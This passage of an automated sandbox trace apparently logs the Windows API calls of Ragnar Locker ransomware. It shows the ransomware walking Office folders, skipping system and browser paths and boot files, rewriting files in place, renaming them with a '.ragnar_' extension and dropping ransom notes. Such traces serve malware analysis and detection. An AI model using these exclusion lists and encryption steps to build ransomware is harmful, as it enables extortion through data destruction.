[0066.353] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.356] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.362] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.363] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0066.368] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.377] GetProcessHeap () returned 0x580000 [0066.379] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0066.380] CloseHandle (hObject=0x108) returned 1 [0066.391] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" [0066.393] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.ragnar_FD7BD9FC" [0066.395] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0066.421] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0066.427] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0066.430] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0066.432] lstrcmpiW (lpString1="VISIOR", lpString2=".") returned 1 [0066.432] lstrcmpiW (lpString1="VISIOR", lpString2="..") returned 1 [0066.434] lstrcmpiW (lpString1="VISIOR", lpString2="Windows") returned -1 [0066.436] lstrcmpiW (lpString1="VISIOR", lpString2="Windows.old") returned -1 [0066.439] lstrcmpiW (lpString1="VISIOR", lpString2="Tor browser") returned 1 [0066.439] lstrcmpiW (lpString1="VISIOR", lpString2="Internet Explorer") returned 1 [0066.440] lstrcmpiW (lpString1="VISIOR", lpString2="Google") returned 1 [0066.443] lstrcmpiW (lpString1="VISIOR", lpString2="Opera") returned 1 [0066.445] lstrcmpiW (lpString1="VISIOR", lpString2="Opera Software") returned 1 [0066.447] lstrcmpiW (lpString1="VISIOR", lpString2="Mozilla") returned 1 [0066.447] lstrcmpiW (lpString1="VISIOR", lpString2="Mozilla Firefox") returned 1 [0066.449] lstrcmpiW (lpString1="VISIOR", lpString2="$Recycle.Bin") returned 1 [0066.450] lstrcmpiW (lpString1="VISIOR", lpString2="ProgramData") returned 1 [0066.454] lstrcmpiW (lpString1="VISIOR", lpString2="All Users") returned 1 [0066.457] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.462] lstrcpyW (in: lpString1=0x1eab90, lpString2="VISIOR" | out: lpString1="VISIOR") returned="VISIOR" [0066.464] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" [0066.487] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\" [0066.488] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\RGNR_FD7BD9FC.txt" [0066.489] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0066.537] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*" [0066.537] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5e [0066.537] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0066.537] lstrcpyW (in: lpString1=0x1e9cb2, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0066.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x79e1a3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79e1a3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0066.537] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0066.537] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x79e1a3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79e1a3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.537] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0066.537] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0066.537] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e1a3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x79e1a3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.537] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0066.537] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0066.537] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0066.537] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0066.537] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0066.537] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0066.537] lstrcmpiW (lpString1="VisiorWW.XML", lpString2=".") returned 1 [0066.537] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="..") returned 1 [0066.538] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0066.538] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0066.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x79e1a3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79e1a3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0066.538] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x79e1a3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79e1a3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.538] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e1a3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x79e1a3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.538] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5e [0066.538] lstrcpyW (in: lpString1=0x1ea0c6, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0066.538] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\RGNR_FD7BD9FC.txt") returned=".txt" [0066.538] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0066.538] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0066.538] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5e [0066.538] lstrcpyW (in: lpString1=0x1ea0c6, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0066.538] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned=".XML" [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0066.538] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0066.538] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0066.539] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0066.539] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0066.539] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0066.539] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0066.539] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0066.539] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0066.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0066.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0066.593] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=20577) returned 1 [0066.593] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5058, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.593] GetProcessHeap () returned 0x580000 [0066.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0066.593] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0066.595] VirtualAlloc (lpAddress=0x0, dwSize=0x5061, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0066.595] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.595] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0066.596] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x5061, lpOverlapped=0x0) returned 1 [0066.597] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0066.597] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5061, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.597] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5061, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x5061, lpOverlapped=0x0) returned 1 [0066.598] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5061, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.598] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.598] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5061, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.598] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.598] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.598] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.598] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0066.598] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.598] GetProcessHeap () returned 0x580000 [0066.598] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0066.598] CloseHandle (hObject=0x104) returned 1 [0066.599] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" [0066.599] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.ragnar_FD7BD9FC" [0066.599] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0066.600] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0066.600] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5e [0066.600] lstrcpyW (in: lpString1=0x1ea0c6, lpString2="VisiorWW.XML" | out: lpString1="VisiorWW.XML") returned="VisiorWW.XML" [0066.600] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned=".XML" [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="autorun.inf") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="boot.ini") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="bootfont.bin") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="bootsect.bak") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="bootmgr") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="bootmgr.efi") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="bootmgfw.efi") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="desktop.ini") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="iconcache.db") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="ntldr") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="ntuser.dat") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="ntuser.dat.log") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="ntuser.ini") returned 1 [0066.600] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="thumbs.db") returned 1 [0066.600] lstrcmpiW (lpString1=".XML", 